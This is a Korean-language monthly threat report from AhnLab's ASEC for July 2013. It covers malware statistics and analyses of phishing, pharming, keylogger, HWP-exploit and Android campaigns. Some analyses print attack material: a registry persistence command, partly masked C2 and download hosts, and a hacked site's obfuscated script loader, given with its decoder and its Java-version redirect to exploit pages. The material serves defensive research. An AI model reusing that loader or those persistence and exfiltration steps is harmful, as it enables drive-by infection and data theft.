ASEC REPORT VOL.43 2013.07
CONTENTS ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된글로벌보안조직입니다. 이리포트는 안랩의 ASEC에서작성하며, 매월발생한주요보안위협과이슈에대응하는최신보안기술에대한요약정보를담고있습니다. 자세한내용은안랩닷컴 (www.ahnlab.com) 에서확인하실수있습니다. 2013년 7월보안동향악성코드동향 01. 악성코드통계 03-7월악성코드, 전월대비 79만여건감소 - 악성코드대표진단명감염보고최다 20-7월최다신종악성코드트로이목마 - 7월악성코드유형트로이목마가 52.7% - 악성코드유형별감염보고전월비교 - 신종악성코드유형별분포 02. 악성코드이슈 07 - 고객님, 당황 ~ 하셨어요? - 구매발주서로위장한키로그악성코드주의 - 구입주문서위장악성메일 - PayPal 피싱주의 - 날씨배너에숨겨진악성코드 - 회사도메인파일을첨부한악성스팸메일주의 - 특정기관을대상으로유포된한글악성코드발견 - 한글문서파일을노린악성코드 - NTFS 파일시스템을악용하는악성코드 - 일본자동차업체의해외사이트악성코드유포 03. 모바일악성코드이슈 16 - PC 정보탈취하는안드로이드앱 - 안드로이드인증서우회취약점 - 중국산 Langya 악성앱보안동향 01. 보안통계 26-7월마이크로소프트보안업데이트현황 02. 보안이슈 27 - 마이크로소프트 IE Use-After-Free 취약점 (CVE-2013-3163) 악용 - 국내다수의사이트를통해악성코드뱅키 (Banki) 배포웹보안동향 01. 웹보안통계 28 - 웹사이트악성코드동향 - 월별악성코드배포 URL 차단건수 - 월별악성코드유형 - 월별악성코드가발견된도메인 - 월별악성코드가발견된 URL - 악성코드유형별배포수
3 악성코드동향 01. 악성코드통계 7월악성코드, 전월대비 79만여건감소 ASEC 이집계한바에따르면, 2013 년 7 월에감염이보고된악성코드는 334 만 338 건인것으로나타났 다. 이는전월 413 만 8029 건에비해 79 만 7691 건이감소한수치다 ([ 그림 1-1]). 이중가장많이보고 된악성코드는 Textimage/Autorun 이었으며, Trojan/Win32.urelas 와 Win-Trojan/Wgames.Gen 이다음 으로많았다. 또한총 3 건의악성코드가최다 20 건목록에새로이름을올렸다 ([ 표 1-1]). 그림 1-1 월별악성코드감염보고건수변화추이 10,000,000 5,000,000 5,170,993 6.1% 4,138,029 3,340,338 20.0% 19.3% 0 05 06 07 표 1-1 2013년 7월악성코드최다 20건 ( 감염보고, 악성코드명기준 ) 순위 등락 악성코드명 건수 비율 1 2 Textimage/Autorun 131,381 11.3 % 2 4 Trojan/Win32.urelas 125,869 10.8 % 3 1 Win-Trojan/Wgames.Gen 91,128 7.8 % 4 4 Trojan/Win32.agent 89,621 7.7 % 5 6 BinImage/Host 67,805 5.8 % 6 2 Win-Trojan/Onlinegamehack140.Gen 66,851 5.7 % 7 2 Als/Bursted 63,216 5.4 % 8 3 Trojan/Win32.onlinegamehack 61,472 5.3 % 9 1 RIPPER 60,764 5.2 % 10 9 ASD.PREVENTION 52,879 4.5 % 11 NEW JS/Agent 48,230 4.1 % 12 7 Trojan/Win32.adh 43,877 3.8 % 13 3 Win32/Autorun.worm.307200.F 38,180 3.3 % 14 2 Win-Trojan/Asd.variant 36,751 3.2 % 15 5 Trojan/Win32.Gen 35,553 3.1 % 16 2 Win-Trojan/Malpacked5.Gen 32,997 2.8 % 17 NEW Trojan/Win32.fakeav 31,242 2.7 % 18 1 Win-Trojan/Avkiller4.Gen 30,172 2.6 % 19 4 Malware/Win32.suspicious 29,183 2.5 % 20 NEW Lsp/Agent 27,911 2.4 % TOTAL 1,165,082 100.0 %
4 악성코드대표진단명감염보고최다 20 [ 표 1-2] 는악성코드별변종을종합한악성코드대표진단명중가장많이보고된 20 건을추린것이다. 이중 Trojan/Win32 가총 58 만 4130 건으로가장빈번히보고된것으로조사됐다. Win-Trojan/Agent 는 15 만 4347 건, Textimage/Autorun 이 13 만 1397 건을각각기록해그뒤를이었다. 표 1-2 악성코드대표진단명최다 20건 순위 등락 악성코드명 건수 비율 1 Trojan/Win32 584,130 29.1 % 2 Win-Trojan/Agent 154,347 7.7 % 3 3 Textimage/Autorun 131,397 6.6 % 4 Win-Trojan/Onlinegamehack 116,898 5.8 % 5 3 Win-Trojan/Downloader 100,780 5.0 % 6 1 Win-Trojan/Wgames 91,128 4.5 % 7 5 Win32/Conficker 69,254 3.5 % 8 9 BinImage/Host 67,805 3.4 % 9 1 Adware/Win32 67,449 3.4 % 10 1 Win32/Virut 67,126 3.3 % 11 2 Win-Trojan/Onlinegamehack140 66,851 3.3 % 12 5 Malware/Win32 64,865 3.2 % 13 Win32/Autorun.worm 64,381 3.2 % 14 Als/Bursted 63,216 3.2 % 15 RIPPER 60,764 3.0 % 16 Win32/Kido 53,122 2.7 % 17 14 ASD 52,879 2.6 % 18 NEW JS/Agent 48,399 2.4 % 19 1 Downloader/Win32 46,123 2.3 % 20 1 Win-Trojan/Asd 36,751 1.8 % TOTAL 2,007,665 100.0 % 7월최다신종악성코드트로이목마 [ 표 1-3] 은 7 월에신규로접수된악성코드중감염보고가가장많았던 20 건을꼽은것이다. 7 월의 신종악성코드는트로이목마 (Win-Trojan/Downloader.206352.C) 가 1 만 2570 건으로전체의 32.4% 를차지했다. Win-Trojan/Clicker.23552 는 8335 건이보고돼그뒤를이었다. 표 1-3 7월신종악성코드최다 20건 순위 악성코드명 건수 비율 1 Win-Trojan/Downloader.206352.C 12,570 32.4 % 2 Win-Trojan/Clicker.23552 8,335 21.5 % 3 ACAD/Busted 4,361 11.2 % 4 Win-Trojan/Agent.107520.ABA 1,852 4.8 % 5 Win-Adware/KorAd.111616 1,375 3.5 % 6 Win-Trojan/Downloader.11931.B 1,194 3.1 % 7 Win-Trojan/Downloader.104448.H 1,081 2.8 % 8 Win-Trojan/Onlinegamehack.83897472.B 987 2.5 % 9 JS/Ddos 926 2.4 % 10 Win-Trojan/Agent.187103 884 2.3 % 11 Win-Trojan/Agent.28160.TQ 835 2.2 % 12 Win-Trojan/Agent.33280.XA 650 1.7 % 13 Win-Trojan/Agent.11931.B 634 1.6 % 14 Win-Trojan/Downloader.135168.HG 579 1.5 % 15 Win-Trojan/Agent.150624 542 1.4 % 16 Win-Trojan/Agent.102400.AEQ 465 1.2 % 17 Win-Adware/KorAd.193377 418 1.1 % 18 Win-Trojan/Agent.79296512 406 1.0 % 19 Win-Trojan/Morix.97792 382 1.0 % 20 Win-Trojan/Agent.150624.B 358 0.8 % TOTAL 38,834 100.0 %
5 7월악성코드유형트로이목마가 52.7% [ 그림 1-2] 는 2013 년 7 월 1 개월간안랩고객으로부터감염이보고된악성코드의유형별비율을 집계한결과다. 트로이목마 (Trojan) 가 52.7% 로가장높은비율을나타냈고웜 (Worm) 이 8.5%, 스크 립트 (Script) 가 5.9% 의비율을각각차지했다. 그림 1-2 악성코드유형별비율 악성코드유형별감염보고전월비교 [ 그림 1-3] 은악성코드유형별감염비율을전월과비교한것이다. 웜, 스크립트, 바이러스, 익스플 로이트등은전월에비해증가세를보였으며트로이목마, 애드웨어, 스파이웨어는감소했다. 다운로 더, 애프케어계열은전월수준을유지했다. 그림 1-3 2013 년 6 월 vs. 2013 년 7 월악성코드유형별비율
6 신종악성코드유형별분포 7 월의신종악성코드를유형별로살펴보면트로이목마가 81% 로가장많았고애드웨어가 5%, 스크 립트가 2% 로각각집계됐다. 그림 1-4 신종악성코드유형별분포
7 악성코드동향 02. 악성코드이슈 고객님, 당황 ~ 하셨어요? 최근한방송사의개그프로그램중 황해 라는코너가큰인기를모으고있다. 이코너는영화 황해 를패러디했는데, 최근문제가되고있는피싱을소재로다루고있다. 특히 고객님, 당황 ~ 하셨어요? 라는유행어를낳기도했다. 이러한인기덕분인지, [ 그림 1-5] 와같이 '2013년개그콘서트특집 ' 이라는파일로우리를당황시키는파밍악성코드가지속적으로발견되고있어주의가요구된다. 해당악성코드에감염되면아래와같은경로에파일을생성한다. [ 파일생성및수정 ] C:\Windows\ce5c6c9a\svchsot.exe C:\Windows\Tasks\At1.job ~ At24.job C:\Windows\System32\Drivers\etc\hosts.ics 생성된 svchsot.exe 파일은 [ 그림 1-7] 과같이 시작프로그램 에등록되어부팅시마다실행된다. 또한 C:\Windows\Tasks 폴더에예약된작업 항목을등록하고, 지정된시간 (1시간이후부터 24시간이후까지 ) 마다실행되도록한다. 그림 1-7 시작프로그램에등록된악성코드 그림 1-5 아이콘은국내유명은행, 파일설명은특정프로그램으로위장파밍악성코드가감염되는과정은 [ 그림 1-6] 과같다. 위의실행파일은 [ 그림 1-6] 의 5. 악성코드다운로드및감염 과정에서생성된파일이다. 또한 hosts.ics 파일을변경해정상은행웹사이트의접속을막는다. hosts.ics에기록된 IP 주소는현재연결되지않아, 가짜사이트는확인할수없었다. 그림 1-8 생성된 hosts.ics 파일 악성코드가 hosts 파일을변경하는이유는 [ 그림 1-9] 와같다. 윈도우운영체제는입력받은 URL이 hosts 파일에존재하면, DNS 서버에요청하지않고지정된 IP로연결을시도한다. 악성코드는은행도메인이악성코드유포 IP에연결되도록 hosts 파일을수정해사용자로하여금가짜은행홈페이지에접속하도록유도한다. 그림 1-6 파밍악성코드감염과정
8 첨부파일은 zip 압축파일형태이며, 압축을해제하면아래와같이 PDF 아이콘으로위장한.scr 실행파일이나온다. 그림 1-11 압축해제된악성파일 악성코드를실행하면아래와같은순서로동작한다. 그림 1-9 URL 입력시홈페이지연결과정그리고아래주소로연결을시도한다. 61.***.***.71:2012 61.***.***.71:81 이러한악성코드에감염되는것을예방하기위해서는지속적인보안업데이트, 자바 (JAVA) 및플래시플레이어 (Flash Player) 프로그램최신버전유지, V3의최신엔진유지및실시간감시기능사용, 정기적인 V3 정밀검사등을수행해야한다. V3 제품에서는아래와같이진단이가능하다. <V3 제품군의진단명 > Trojan/Win32.Agent (2013.07.11.00) Trojan/Win32.Qhost (2013.07.12.05) BinImage/Host (2013.07.13.00) Win-Trojan/Qhost.24064.E (2013.07.13.00) Win-Trojan/Qhost.24576.H (2013.07.13.00) 1.%appdata%\clkmedia\cklmde.scr 경로에자기복제본생성 2.Batch 파일에아래의명령줄을저장한후실행해부팅시자동실행되도록설정 REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\ Run" /v "clkmedsa" /t REG_SZ /d "C:\Documents and Settings\ Administrator\Application Data\clkmedia\cklmde.scr" /f 3.cklmde.scr 파일은 chrome 브라우저를백그라운드로실행하고 thread injection 을통해키로그기능이실행됨 4. 키보드입력로그를 %appdata%\dclogs\[ 날짜시간 ].dc 파일로저장 5. 저장된키로그를 sant***.n**p.org:4666 (216.***.1**.218) 에주기적전송키로그는 [ 그림 1-12] 와같이저장된다. 구매발주서로위장한키로그악성코드주의 해외에서발견된악성이메일중구매발주서 (PO) 를첨부한것으로위장해악성코드를감염시키는사례가발견됐다. 아직국내에서는비슷한사례가많지않지만, 해외의경우동일패턴으로시도되는공격이빈번하게발생하고있는만큼구매발주서나계악서등의문서를이메일로자주주고받는일반기업의직원들은해당공격을각별히주의할필요가있다. 발견된메일은 [ 그림 1-10] 과같다. 그림 1-12 저장된키로그내용 V3 제품에서는아래와같이진단이가능하다. <V3 제품군의진단명 > Trojan/Win32.Inject (AhnLab, 2013.07.11.00) 구입주문서위장악성메일 그림 1-10 악성파일이첨부된이메일 최근고객으로부터메일에첨부된파일이의심스럽다는문의가접수됐다. 메일의원문은접수되지않아메일제목및내용에대해서는정
9 확한확인이불가능했지만, 일부웹을통해동일한제목의메일에대한내용을확인할수있었다. 메일은 [ 그림 1-13] 과같이구입주문서와관련된내용으로첨부된 PO 확인을유도하고있었다. CREATEC:\Documents and Settings\Administrator\ Application Data\Ad0be\Ad0be.exe CREATEC:\Documents and Settings\Administrator\ Application Data\1.html DELETEC:\Documents and Settings\Administrator\ Application Data\1.html CREATEC:\Documents and Settings\Administrator\ Application Data\Ad0be\logs\17.07.2013.arl 그림 1-13 메일의원문으로추정되는내용회사는아래 [ 그림 1-14] 의홈페이지와같이탄화텅스텐과공구강의재활용에관련된업체로보이며, 해당메일은금속과관련된업체를대상으로발송됐을것으로추정된다. 시스템재시작시에도실행될수있도록아래와같이레지스트리에값을등록한다. 이때정상프로그램의값과유사하게등록해사용자나분석가로하여금확인이어렵도록위장했다. HKCU\Software\Microsoft\Windows\CurrentVersion\ Run\Adobe Reader Speed Launcher "C:\Documents and Settings\Administrator\Application Data\Ad0be\Ad0be.exe" [ 그림 1-16] 과같이특정서버로의접속을시도하며, 해당주소는 DDNS(Dynamic DNS) 서비스를이용해운영중인도메인으로확인된다. 그림 1-16 요청되는 DNS 정보 그림 1-14 관련회사홈페이지첨부된파일은압축되어있으며, 압축해제시 [ 그림 1-15] 와같이확장자와아이콘을이용해 PDF 문서로위장하고있는것을확인할수있다. 그리고해당서버로 [ 그림 1-17] 과같이수집된시스템정보를전송하는것으로보인다. 그림 1-17 전송되는시스템정보관련패킷 그림 1-15 압축해제후의악성파일파일실행시실제로 PDF 문서가출력되지는않으며, 악성코드의감염이이뤄진다. 생성되는주요파일은아래와같다. CREATEC:\Documents and Settings\Administrator\ Application Data\xxx.html DELETEC:\Documents and Settings\Administrator\ Application Data\xxx.html 정상적인기관이나업체로위장해메일에파일을첨부하는형태의악성코드유포행위는꾸준히발생하고있으며, 현재까지도 APT(Advanced Persistent Threat) 와같은목적을위한주요한공격과정중하나로이용되고있다. 이같은주변의보안위협을인지하고, 자신과회사의자산을안전하게지키기위한노력이필요하겠다. V3 제품에서는아래와같이진단이가능하다. <V3 제품군의진단명 > Spyware/Win32.Zbot (2013.07.12.01) Trojan/Win32.Inject (2013.07.18.00)
10 PayPal 피싱주의국내외에서개인정보와금융정보탈취를위한피싱과파밍이끊임없이발생하고있다. 최근인터넷을통해결제서비스를제공하는 PayPal 피싱이 [ 그림 1-18] 과같이코드가난독화되어있는상태로발견됐다. V3 제품에서는아래와같이진단이가능하다. <V3 제품군의진단명 > JS/Bankfraud (AhnLab, 2013.07.10.00) 날씨배너에숨겨진악성코드최근웹사이트에삽입된무료날씨배너를통해악성코드가유포됐다. 방문한웹사이트가정상적이라도해킹된배너를통해악성코드에감염될수있어사용자들의주의가요구된다. 그림 1-18 난독화된 PayPal 피싱페이지 이러한악성코드유포방식은한곳을해킹해동일한배너를사용하는모든웹사이트에악성코드를유포할수있다는용이함탓에공격자들에게자주악용된다. 난독화를해제하면 PayPal 피싱페이지가나타난다. 해당페이지는개인정보, PayPal 아이디, 비밀번호를비롯해신용카드정보까지모두입력하도록요구한다. 실제 PayPal 페이지의이미지파일등을사용하므로사용자는가짜페이지임을알아채기가쉽지않다. 그림 1-22 웹사이트에삽입된날씨배너광고 그림 1-19 PayPal 피싱페이지 무료날씨배너는 [ 그림 1-23] 과같은몇가지형태의배너를제공하고있으며, 간단한방법으로자신의블로그나웹사이트등에설치할수있다. 그림 1-20 난독화해제된 PayPal 피싱페이지코드 요구하는정보들을모두입력하고저장하면원격시스템으로입력정보들을전송한다. 해당 IP는미국에위치해있는원격시스템으로탈취한정보를전송한후정상적인 PayPal 페이지로이동해사용자가정보를탈취당한것을인지하지못하게한다. 그림 1-23 날씨배너광고 [ 그림 1-24] 는날씨배너에삽입된악성스크립트를나타내는화면이다. 그림 1-21 개인정보탈취
11 해당 banki 악성코드는정상적인금융권사이트의주소를입력해도악성코드제작자가만들어놓은파밍사이트에접속되도록구성돼있다. 그림 1-24 배너에삽입된악성스크립트 baner.js 파일에인코딩된부분을풀어보면 [ 그림 1-25] 와같은 URL 정보를확인할수있다. 그림 1-29 파일생성정보 V3 제품에서는아래와같이진단이가능하다. 그림 1-25 baners.js 디코딩 해당웹페이지는공다팩 (Gongda pack) 툴킷으로내부코드가난독화돼있다. <V3 제품군의진단명 > Trojan/Win32.Banki (2013.07.08.01) Java/Exploit (2013.07.05.05) JS/Iframe (2013.07.05.05) 회사도메인파일을첨부한악성스팸메일주의 그림 1-26 악성 HTML 파일 난독화를해제하면자바취약점과관련된코드와악성코드유포 URL 을확인할수있다. 해외의악성스팸메일을분석하던중 Docs_( 회사도메인 ).zip 파일을첨부한악성스팸메일이발견됐다. 스팸메일이익숙치않은사람이라면회사도메인이포함된파일은괜찮을것이라는생각으로파일을열어악성코드에감염되는사태가발생할수있으므로주의가필요하다. 발견된악성스팸메일은 [ 그림 1-30] 의형식으로접수됐다. 그림 1-27 난독화해제 악성코드 (1.exe) 에감염되면다음과같은파일이생성된다. 그림 1-28 파일생성정보 그림 1-30 악성파일이첨부된이메일
12 압축을해제하면 [ 그림 1-31] 과같이 PDF 아이콘으로위장한 127KB 용량의악성파일이나온다. 해당악성코드를실행할경우사용자가악성코드에감염된것을인지할수없도록정상한글문서가실행된다. 그림 1-31 압축해제된악성파일 위악성코드를실행하면아래와같은순서로동작한다. 1. 아래의 URL에접근해추가악성코드다운로드 money******eting.com/dl1.exe abbe****ts.co.uk/fnf1.exe salsa****nfuego.com/rcy.exe f***s.info/pwvextro.exe 2. 다운로드된악성코드를 %Application Data%\Keivyh\veqilo.exe로저장한후 Run 레지스트리에등록해자동실행 3. Firewall 레지스트리를수정하여아래의포트를 Open UDP 2253 TCP 4302 그림 1-33 파일실행화면악성코드가실행되면 [ 그림 1-34] 와같은파일이생성된다. SUCHOST.EXE 파일은 Microsoft 폴더에추가악성코드를생성하고자신을삭제한다. 4. 실행된악성코드는 Explorer.exe에인젝션돼다양한 IP와주기적으로통신 V3 제품에서는아래와같이진단이가능하다. 그림 1-34 생성파일정보 <V3 제품군의진단명 > Trojan/Win32.Zbot (2013.07.23.04) wuauclt.exe 파일은윈도우시작레지스트리에등록돼자동으로실행된다. 특정기관을대상으로유포된한글악성코드발견 최근특정기관을대상으로유포된한글악성코드가발견됐다. 특정기관이나기업을대상으로이뤄지는공격은점차다양해지고있으며, 다수의사용자가사용하는소프트웨어취약점 (PDF, DOC), 업데이트기능등을이용해유포되는특징을보이고있다. 악성코드제작자는사회적으로주목받는이슈를활용해악성코드를유포하는데, 이번에발견된악성코드는남북관계를소재로삼았다. 그림 1-35 시작레지스트리등록정보해당악성코드는특정기관에접근해정보를유출하기위한목적으로시스템정보등을탈취하는데이용하는것으로추정된다. 특정서버 (58.XXX.XXX.40) 로접근을시도하지만분석시점에는연결되지않았다. [ 그림 1-32] 는한글악성코드 ( 김정은용인술.hwp) 가첨부된메일의화면이다. 그림 1-32 한글악성코드가첨부된메일 그림 1-36 네트워크연결정보
13 V3 제품에서는아래와같이진단이가능하다. <V3 제품군의진단명 > HWP/Exploit (2013.07.26.04) Trojan/Win32.Agent (2013.07.27.02) Trojan/Win32.Dllbot (2013.07.26.05) BinImage/Candc (2013.07.30.03) 한글문서파일을노린악성코드최근특정기관을타깃으로한컴오피스의한글취약점을악용한악성코드가첨부된이메일이유포되고있어기관관계자와사용자들의주의가필요하다. 7월에만한글, 한셀프로그램의취약점을악용한악성코드가다수확인됐다. 첨부파일명은 ' 개최계획과 OOOO위원회명단.zip', ' 튼튼한 OO를바탕으로..( 생략 ).hwp', 동북아 OOOO 구상어떻게실현할것인가.hwp' 였으며국내특정조직및업체를대상으로한 APT(Advanced Persistent Threat) 공격으로보인다. 글파일로덮어써사용자는감염사실을인지하기어렵다는것이다. 최근문서프로그램의취약점을겨냥한공격이급증하고있는만큼, 이메일에첨부된문서는함부로실행하지말아야하며취약점이존재하는소프트웨어는반드시최신패치를설치해야한다. 한글과컴퓨터사는최근보안패치를완료해사용자에게공지했다. 한컴오피스 2007, 한글 2007, 한글 2005, 한글 2004, 한글 2002 SE 사용자는해당패치를반드시업데이트해야한다. V3 제품에서는아래와같이진단이가능하다. <V3 제품군의진단명 > HWP/Exploit (2013.07.02.00) Win-Trojan/Infostealer.147456.B (2013.07.02.00) NTFS 파일시스템을악용하는악성코드금전을노리는온라인게임핵과파밍, 피싱은항상이슈가되고있으며국내악성코드 TOP 10 안에포함되어있다. 해외에서도금융정보를탈취하는 Zeus, Spy Eye, Citadel, KINS 등의악성코드가새롭게발견된바있다. 그림 1-39 Spy Eye 그림 1-37 취약점문서파일이첨부된이메일본문 해당이메일에첨부된문서파일을실행하면 [ 그림 1-38] 과같다. 최근에는비트코인이라는사이버머니에대한탈취시도가활발하다. 비트코인은관리주체가없는독립적인가상의통화로, 이전에는도박이나마약과같은불법적인용도로사용됐는데근래에는일반상점에서도거래가가능할정도의일반적인통화수단으로사용되고있다. 2013년상반기해외에서는사이버머니비트코인을탈취하기위한악성코드가가장많이진단되기도했다. 이에국내에서도해당악성코드에감염된시스템들이지속적으로발견되고있다. 그이유는공격자가해당악성코드유포를위해키젠이나크랙된소프트웨어와같은불법적인소프트웨어로위장하고토렌트와같은파일배포프로그램을이용하기때문으로보여진다. 특히 Mac 사용자를타깃으로한악성코드들의비트코인탈취시도가빈번하다. 그림 1-38 HWP 문서실행화면 한글취약점문서파일을실행했을때생성되는파일로인해시스템이악성코드에감염된다. 문제는악성파일생성동작이후에는정상한 그림 1-40 비트코인
14 특히감염기법이지속적으로정교해지고있어분석과감염된시스템을복구하기위한조치가쉽지가않다. 그중에서 MS가개발한파일시스템인 NTFS(New Technology FileSystem) 를악용해악성코드탐지가치료를방해하는증상에대해살펴보자. NTFS 파일시스템에는볼륨에존재하는모든파일과디렉토리에대한정보를담고있는테이블인 MFT(Master File Table) 가있다. [ 그림 1-41] 과같이 NTFS 파일시스템을살펴보면 VBR(Volume Boot Record) 뒤에위치하지만고정적이지는않다. 코드를유포하는사례가지속적으로발견되고있다. 사용하는컴퓨터를안전하게지키기위해불법다운로드는삼가해야한다. V3 제품에서는아래와같이진단이가능하다. <V3 제품군의진단명 > Trojan/Win32.Inject (2013.07.31.03) 일본자동차업체의해외사이트악성코드유포 2013년 7월 9일경일본자동차업체의해외사이트가해킹돼악성코드가유포되는일이발생했다. 당시해당사이트의메인페이지상단에는 [ 그림 1-44] 와같이난독화된스크립트가삽입돼있었다. 그림 1-44 삽입된악성스크립트코드 그림 1-41 NTFS 파일시스템 위 [ 그림 1-44] 의코드를분석해보면, 아래 [ 그림 1-45] 처럼 iframe 비트코인을수집하는이악성코드는 MFT 엔트리의속성을악용해윈도우시스템파일인 services.exe 파일의 MFT 엔트리속성패치를시도한다. MFT 엔트리속성에패치된코드를구하기위해 services. exe 파일의 MFT에서악성코드가저장되는 offset을구한다. 태그를이용해특정 URL로부터악성스크립트를다운로드한후실행하도록돼있다. 그림 1-45 난독화해제후스크립트코드 그리고위주소로부터다운로드된악성스크립트는각각두개의다른스크립트로구성돼있다. 스크립트 1 에서는 <iframe 그림 1-42 MFT 마지막으로획득한 offset에해당하는 MFT 엔트리속성값을살펴보면 PE Header가발견되며 dll 파일로확인된다. 그림 1-43 MFT 국내에서도불법소프트웨어나영화, mp3 음악파일로위장한악성 style="display:none;" src="auzzxc.html" id="mqsvry"></iframe> 를통해난독화된코드를가진 auzzxc.html을다운로드하며, 끝부분에존재하는코드를통해 auzzxc.html 코드를불러온후난독화를해제한다. window.onload=function(){ var nsabmwc=parseint; var zynnutkf="mqsvry"; wsfjcfx=document.getelementbyid(zynnutkf).contentwindow; jnnoktt=wsfjcfx.document.getelementbyid("umlfysf"); abxv=""; for(ppqrwl=0;ppqrwl<jnnoktt.value.length;ppqrwl+=2) abxv+=string.fromcharcode(nsabmwc(jnnoktt.value.substr(ppqrwl,2),28) -243); eval(abxv); } 표 1-4 스크립트 1 의난독화해제루틴
15 <textarea id="umlfysf">91cpc4cl9nbiblb9c7b7c89nao9ncqccchc7cicqa9 bfcfcocaccchb3c8cnc8c6cna9cac8cnblc8clcmcccicha39pb9c4cpc49p a4am91ccc99na3cnd0cjc8cic99nbiblb9c7b7c89naoao9na2cmcnclccc hcaa2a49nd291biblb9c7b7c89nao9nbiblb9c7b7c8a9cmcjcfcccna39pa 79pa4am91ccc99na3biblb9c7b7c8bqaec0a9cfc8chcacncbaoaoaca49 nd291biblb9c7b7c89nao9n9p9pa6biblb9c7b7c8bqacc0a69pab9pa6bi blb9c7b7c8bqaec0am91d49nc8cfcmc89nd291biblb9c7b7c89nao9n9p 9pa6biblb9c7b7c8bqacc0a6biblb9c7b7c8bqaec0am91d491d49nc8cfc mc89nd291biblb9c7b7c89nao9nabam91d491ccc9a3a3biblb9c7b7c8ap aoagabab9na1a19nbiblb9c7b7c8anaoahaeada4d3d3a3biblb9c7b7c8a paoaiabab9na1a19nbiblb9c7b7c8anaoaiabaka4a4d291cfcic6c4cncccic ha9cbclc8c9ao9pcdciclcaa9cbcncgcf9pam91d4c8cfcmc89nd291ccc9a 3a3biblb9c7b7c8apaoaiacab9na1a19nbiblb9c7b7c8anaiadaca4a491cfci c6c4cncccicha9cbclc8c9ao9pcdcfcjcha9cbcnbrcrahc7cf9pam91c8cfcm c891cfcic6c4cncccicha9cbclc8c9ao9pcjc7c9cra9cbcnbrcrahc7cf9pam9 1d491</textarea> 표 1-5 auzzxc.html의주요코드 난독화를해제하면아래와같은코드를얻으며자바버전을체크한후또다른악성 html 파일을다운로드한후실행한다. var SVJdHe = window.plugindetect.getversion("java"); if(typeof SVJdHe == 'string') { SVJdHe = SVJdHe.split(","); if(svjdhe[3].length==1) { SVJdHe = ""+SVJdHe[1]+"0"+SVJdHe[3]; } else { SVJdHe = ""+SVJdHe[1]+SVJdHe[3]; } } else { SVJdHe = 0; } if((svjdhe>=500 && SVJdHe<=632) (SVJdHe>=700 && SVJdHe<=709)){ location.href="jorg.html"; }else{ if((svjdhe>=710 && SVJdHe<721)) location.href="jlpn.ht\x6dl"; else location.href="pdfx.ht\x6dl"; } 표 1-6 난독화를해제한코드 분석당시감염된 PC에다운로드된 html 파일은 jorg.html이며, 자바의취약점을공격하는 jar 파일과실행파일이링크된 URL이존재했다. 그림 1-46 jorg.html 의메인코드 V3 제품에서는아래와같이진단이가능하다. <V3 제품군의진단명 > Trojan/Win32.Tepfer, 2013.07.10.03
16 악성코드동향 03. 모바일악성코드이슈 같은파일들이다운로드된것을확인할수있다. 또한 mnt/sdcard 에 autorun.inf, go.bat 파일도같이다운로드한다. PC 정보를탈취하는안드로이드앱 최근스마트폰악성코드가폭발적으로증가하고있다는기사들을종종발견한다. 국내에서가장많이발견되는악성코드의형태는문자나모바일메신저를통해유포되는 ' 스미싱 ' 이다. 스미싱은 SMS + Phishing 의합성어로현재국내에서피해가가장크게나타나고있다. 스미싱악성코드는모바일의특성을반영한악성코드인데반해, FakeAV 와랜섬웨어등다른모바일악성코드들은 PC의악성코드발전형태와유사하다. 이번에살펴볼 HackTool의일종인 'USB Cleaver' 앱역시기능이 PC 의해킹툴들과유사하다. 그림 1-49 다운로드된파일들단말기를 PC에연결한후, 아래그림처럼 [Enable / Disable Payloads 원하는정보체크및 Generate Payload 'Payload Generated' 토스트메시지확인 ] 과같이단계에따라진행하면 PC의정보들을가져올수있다. 그림 1-47 아이콘모양 그림 1-50 Payloads Generate 화면 앱을설치하면 [ 그림 1-48] 과같이메뉴 3개가나타난다. 'Download Payload' 버튼을선택하면 PC의정보를가져오기위한각종툴들을다운로드한다. [PC에서가져오는정보 ] - PC 의네트워크정보 - FireFox, Chrome, IE 패스워드정보 - WiFi 패스워드정보 아래 [ 그림 1-51] 은 PC의네트워크정보를가져온화면이다. 관련파일들은 /mnt/sdcard/usbcleaver/logs/ 경로밑에저장된다. 그림 1-48 Payloads 다운로드 다운로드가완료되면 /mnt/sdcard/usbcleaver/system 경로에아래와 그림 1-51 PC 의네트워크정보
17 ZIP 파일의구조 APK는안드로이드의애플리케이션패키지 (Android application package) PKWARE, Inc에서정의한표준 ZIP 압축파일형식을사용하고있다. 취약점을이해하기위해서는 ZIP 압축파일의구조에대한이해가필요하다. 그림 1-52 go.bat 코드 [ 그림 1-52] 는단말기가연결될때 autorun.inf가실행하는 batch 파일의일부다. 해당앱이 PC의정보를가져오기위한기능들을가지고있다는점과윈도우프로세스실행을위해 USB 자동실행기능을이용한점 ( 해당기능을이용한악성코드는과거에도발견된바있다.) 등에서볼수있듯이해당앱들의발전형태는 PC와유사하다. 다만해당앱을분석해보면사용자에게악성행위를하는코드는발견되지않으며, 권한요구역시과도하지않고 SD card나 Network와관련된권한요구만을요구한다. 이같은이유로 V3 Mobile 제품에서는해당악성코드를 AppCare로진단하고있다. 해당진단명은악성목적으로만들어지진않았으나활용여부에따라유해가능성이있는프로그램과관련된것이다. 하지만악성코드가아니더라도가급적이런앱들의사용은자제할것을권한다. 최근많이유포되는악성앱들의감염을방지하기위해 V3 Mobile과같이믿을수있는모바일백신사용하는것이바람직하다. V3 Mobile 제품에서는아래와같이진단이가능하다. <V3 Mobile의진단명 > Android-AppCare/UsbCleaver.4EFE8 안드로이드인증서우회취약점지난 7월 3일 Bluebox에서안드로이드앱을설치할때인증서를우회할수있는취약점을발표했다. Master Key 라고불리는이취약점은안드로이드에서앱설치시앱내부의파일들을검증하는모듈과압축을해제하는모듈이서로다르다는점을이용하고있다. Master Key 취약점은정상파일에악성기능을추가할때인증서를변경하지않고악성기능을수행할수있다는것을의미한다. 안드로이드에서인증서는코드작성자를식별하거나앱이변경됐는지를확인하기위해사용하는중요한보안기능이다. 이취약점은인증서에기반한앱의작성자를식별하는안드로이드보안정책을송두리째무력화하는것으로볼수있다. Master Key 취약점이발표된이후중국유명안드로이드마켓에는정상앱을리패키징한앱들이지속적으로보고되고있으며, 국내에서도정상은행앱을리패키징해계좌정보를유출하는기능이추가한악성코드가발견됐다. 이에 Master Key 와관련한취약점들을알아보고자한다. 그림 1-53 ZIP 파일구조 ZIP은크게그림과같이 Local file header, File data, Central directory header, End of central directory record' 로구성돼있으며각각의항목에대해간략하게살펴보면 [ 표 1-7] 과같다. 항목설명파일의가장마지막부분에위치하고있으며압축된파일의개수, Central End of central directory record directory header 의시작위치정보등을가지고있다. 압축된파일개수만큼존재하며압축된파일의크기, 압축되기전의크기, Central directory header 압축된파일이름, 